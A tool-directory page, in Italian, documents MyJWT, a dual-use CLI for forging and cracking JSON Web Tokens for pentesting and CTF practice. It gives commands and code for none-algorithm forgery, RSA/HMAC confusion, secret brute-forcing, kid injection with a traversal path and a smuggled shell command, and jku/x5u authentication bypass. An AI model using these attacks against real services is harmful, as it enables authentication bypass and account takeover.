Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
MyJWT — Una cli per il cracking e il test di vulnerabilità su Json Web Token(JWT) | Kitploit
Strumenti/GitHubGitHub/tyki6/myjwt
Password CrackingAnalisi delle VulnerabilitàSicurezza WebPenetration Testing
GitHubtyki6/myjwt

MyJWT

Una cli per il cracking e il test di vulnerabilità su Json Web Token(JWT)

Vedi Repository
1381910 mesi faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

MyJWT

mBouamama PyPI BlackArch package PyPI - Python Version PyPI - Download GitHub release (latest by date) Documentation Status Rawsec's CyberSecurity Inventory Code style: black codecov docstr_coverage codebeat badge Updates Known Vulnerabilities

Introduzione

Questa CLI è per penetration tester, giocatori di CTF o sviluppatori.
Puoi modificare il tuo JWT, firmare, iniettare, ecc...
Consulta la Documentazione per maggiori informazioni.
Se riscontri problemi o suggerimenti, apri una segnalazione. Risponderò il prima possibile. Buon divertimento :)

Documentazione

La documentazione è disponibile all'indirizzo http://myjwt.readthedocs.io

Indice

  • Funzionalità
  • Installazione
  • Utilizzo
  • Esempi
  • Download
  • Contribuisci
  • Registro modifiche

Funzionalità

  • copia il nuovo JWT negli appunti
  • interfaccia utente (grazie a questionary)
  • output a colori
  • modifica JWT (header/payload)
  • vulnerabilità None
  • confusione RSA/HMAC
  • firma un JWT con una chiave
  • forza bruta per indovinare la chiave
  • crack del JWT con regex per indovinare la chiave
  • iniezione kid
  • bypass Jku
  • bypass X5u

Installazione

Per installare myjwt, usa semplicemente pip:

root@kitploit:~
pip install myjwt

Per eseguire myjwt da un'immagine Docker, esegui:

root@kitploit:~
docker run -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt

# monta il volume per la wordlist
docker run -v $(pwd)/wordlist:/home/wordlist/  -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt
# Su Windows
docker run -v %CD%/wordlist:/home/wordlist/  -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt

Per installare myjwt da git:

root@kitploit:~
git clone https://github.com/mBouamama/MyJWT.git
cd ./MyJWT
pip install -r requirements.txt
python MyJWT/myjwt_cli.py --help

Per installare myjwt su BlackArch:

root@kitploit:~
pacman -S myjwt

Packaging status

Utilizzo

root@kitploit:~
$ myjwt --help
Usage: myjwt [OPTIONS] JWT

  This cli is for pentesters, CTF players, or dev.
  You can modify your jwt, sign, inject ,etc...
  Full documentation is at http://myjwt.readthedocs.io.
  If you see problems or enhancement send an issue.I will respond as soon as possible.
  Enjoy :)
  All new jwt will be copy to the clipboard.

Options:
  --version                    Show the version and exit.
  --full-payload TEXT          New payload for your jwt.Json format Required.
  -h, --add-header TEXT        Add a new key, value to your jwt header, if key
                               is present old value will be replaced.Format:
                               key=value.

  -p, --add-payload TEXT       Add a new key, value to your jwt payload, if
                               key is present old value will be
                               replaced.Format: key=value.

  --sign TEXT                  Sign Your jwt with key given.
  --verify TEXT                verify your key.
  -none, --none-vulnerability  Check None Alg vulnerability.
  --hmac PATH                  Check RS/HMAC Alg vulnerability.
  --bruteforce PATH            Bruteforce to guess the secret used to sign the
                               token.

  -r, --crack TEXT             regex to iterate all string possibilities to
                               guess the secret used to sign the token.

  --kid TEXT                   Kid Injection sql
  --jku TEXT                   Jku Header to bypass authentication
  --x5u TEXT                   X5u Header to bypass authentication
  --crt TEXT                   For x5cHeader, force crt file
  --key TEXT                   For jku or x5c Header, force private key to
                               your key file

  --file TEXT                  For jku Header and x5u Header, force file name
  --print                      Print Decoded JWT
  -u, --url TEXT               Url to send your jwt.
  -m, --method TEXT            Method use for send request to url.(Default
                               GET).

  -d, --data TEXT              Data send to your url.Format: key=value. if
                               value = MY_JWT value will be replace by new
                               jwt.

  -c, --cookies TEXT           Cookies to send to your url.Format: key=value.
                               if value = MY_JWT value will be replace by new
                               jwt.

  --help                       Show this message and exit.

Modifica JWT

Controlla il tuo JWT (algoritmo HS)

OpzioneTipoEsempioDescrizione
--signtestomiaisicretkeyFirma il tuo JWT con la chiave fornita
--verifytestomiaisicretkeyVerifica la tua chiave.

Exploit

Invia il tuo JWT

Altro

Esempi

  • Modifica il tuo JWT
  • Controllo vulnerabilità None
  • Firma con chiave
  • Forza bruta sulla firma
  • Confusione RSA/HMAC
  • Iniezione Kid
  • Invia il nuovo JWT a un URL
  • Vulnerabilità Jku
  • Vulnerabilità X5u

Modifica il tuo JWT

CLI

root@kitploit:~
myjwt TUO_JWT --add-payload "username=admin" --add-header "refresh=false"

Codice

root@kitploit:~
from myjwt.modify_jwt import add_header, change_payload
from myjwt.utils import jwt_to_json, SIGNATURE, encode_jwt

jwt_json = jwt_to_json(jwt)
jwt_json = add_header(jwt_json, {"kid": "001"})
jwt_json = change_payload(jwt_json, {"username": "admin"})
jwt = encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE]

Esempio completo qui: 01-modify-jwt

Vulnerabilità None

CLI

root@kitploit:~
myjwt TUO_JWT --none-vulnerability

CODICE

root@kitploit:~
from myjwt.utils import jwt_to_json, SIGNATURE, encode_jwt
from myjwt.vulnerabilities import none_vulnerability
jwt_json = jwt_to_json(jwt)
jwt = none_vulnerability(encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE])

Esempio completo qui: 02-none-vulnerability

Firma con chiave

CLI

root@kitploit:~
myjwt TUO_JWT --sign TUA_CHIAVE

CODICE

root@kitploit:~
from myjwt.modify_jwt import signature
from myjwt.utils import jwt_to_json
key = "test"
jwt = signature(jwt_to_json(jwt), key)

Esempio completo qui: 03-sign-key

Forza bruta

CLI

root@kitploit:~
myjwt TUO_JWT --bruteforce PERCORSO

CODICE

root@kitploit:~
from myjwt.vulnerabilities import bruteforce_wordlist
wordlist = "../../wordlist/common_pass.txt"
key = bruteforce_wordlist(jwt, wordlist)

Esempio completo qui: 04-brute-force

Crack

CLI

root@kitploit:~
myjwt TUO_JWT --crack REGEX

Confusione RSA/HMAC

CLI

root@kitploit:~
myjwt TUO_JWT --hmac FILE

CODICE

root@kitploit:~
from myjwt.vulnerabilities import confusion_rsa_hmac
file = "public.pem"
jwt = confusion_rsa_hmac(jwt, file)

Esempio completo qui: 05-rsa-hmac-confusion

Iniezione Kid

CLI

root@kitploit:~
myjwt TUO_JWT --kid INIEZIONE

Codice

root@kitploit:~
from myjwt.modify_jwt import signature
from myjwt.utils import jwt_to_json
from myjwt.vulnerabilities import inject_sql_kid

injection = "../../../../../../dev/null"
sign = ""
jwt = inject_sql_kid(jwt, injection)
jwt = signature(jwt_to_json(jwt), sign)

Esempio completo qui: 06-kid-injection

Invia il tuo nuovo JWT a un URL

CLI

root@kitploit:~
myjwt TUO_JWT -u TUO_URL -c "jwt=MY_JWT" --non-vulnerability --add-payload "username=admin"

Vulnerabilità Jku

CLI

root@kitploit:~
myjwt TUO_JWT --jku TUO_URL

Codice

root@kitploit:~
from myjwt.vulnerabilities import jku_vulnerability
new_jwt = jku_vulnerability(jwt=jwt, url="MIOIPPUBBLICO")
print(jwt)

Esempio completo qui: 07-jku-bypass

Vulnerabilità X5U

CLI

root@kitploit:~
myjwt TUO_JWT --x5u TUO_URL

Codice

root@kitploit:~
from myjwt.vulnerabilities import x5u_vulnerability
newJwt = x5u_vulnerability(jwt=jwt, url="MIOIPPUBBLICO")
print(jwt)

Esempio completo qui: 08-x5u-bypass

Download

Controlla le release su GitHub. L'ultima è disponibile su https://github.com/mBouamama/MyJWT/releases/latest

Contribuisci

  • Fai il fork di questo repository o clonalo
  • Crea un nuovo branch (feature, hotfix, ecc...)
  • Apporta le modifiche necessarie e confermale
  • Controlla il lint con make lint
  • Controlla i test unitari con make test
  • Invia una Pull Request Controllerò il prima possibile.

Registro modifiche

Il registro è diventato piuttosto lungo. È stato spostato in un file separato.

Vedi CHANGES.

Scarica lo strumento
OpzioneTipoEsempioDescrizione
--ful-payloadJSON{"user": "admin"}Nuovo payload per il tuo JWT.
-h, --add-headerchiave=valoreuser=adminAggiunge una nuova coppia chiave/valore all'header del JWT; se la chiave esiste, il vecchio valore viene sostituito.
-p, --add-payloadchiave=valoreuser=adminAggiunge una nuova coppia chiave/valore al payload del JWT; se la chiave esiste, il vecchio valore viene sostituito.
OpzioneTipoEsempioDescrizione
-none, --none-vulnerabilityNienteControlla la vulnerabilità dell'algoritmo None.
--hmacPERCORSO./public.pemControlla la vulnerabilità dell'algoritmo RS/HMAC e firma il tuo JWT con la chiave pubblica.
--bruteforcePERCORSO./wordlist/big.txtForza bruta per indovinare il segreto usato per firmare il token. Usa un file txt con tutte le password memorizzate (1 per riga)
--crackREGEX"[a-z]{4}"regex per iterare su tutte le possibili stringhe per indovinare il segreto usato per firmare il token.
--kidtesto"00; echo /etc/.passwd"Iniezione SQL Kid
--jkutestoMIOIPPUBBLICOIntestazione Jku per bypassare l'autenticazione; usa --file se vuoi cambiare il nome del file jwks, e --key se vuoi usare la tua chiave privata pem
--x5utestoMIOIPPUBBLICOPer l'intestazione jku o x5c, usa --file se vuoi cambiare il nome del file jwks, e --key se vuoi usare la tua chiave privata pem
OpzioneTipoEsempioDescrizione
-u, --urlurlhttp://challenge01.root-me.org/web-serveur/ch59/adminURL a cui inviare il tuo JWT.
-m, --methodtestoPOSTMetodo da usare per inviare la richiesta all'URL. (Default: GET).
-d, --datachiave=valoresecret=MY_JWTDati da inviare all'URL. Formato: chiave=valore. Se il valore è MY_JWT, verrà sostituito con il tuo nuovo JWT.
-c, --cookieschiave=valoresecret=MY_JWTCookie da inviare all'URL. Formato: chiave=valore. Se il valore è MY_JWT, verrà sostituito con il tuo nuovo JWT.
OpzioneTipoEsempioDescrizione
--crtPERCORSO./public.crtPer x5cHeader, forza il file crt
--keyPERCORSO./private.pemPer l'intestazione jku o x5c, forza la chiave privata dal tuo file chiave
--filetestomiofilePer l'intestazione jku, forza il nome del file senza estensione .json
--printNienteStampa il JWT decodificato
--helpNienteMostra il messaggio di aiuto ed esce.
--versionNienteMostra la versione di Myjwt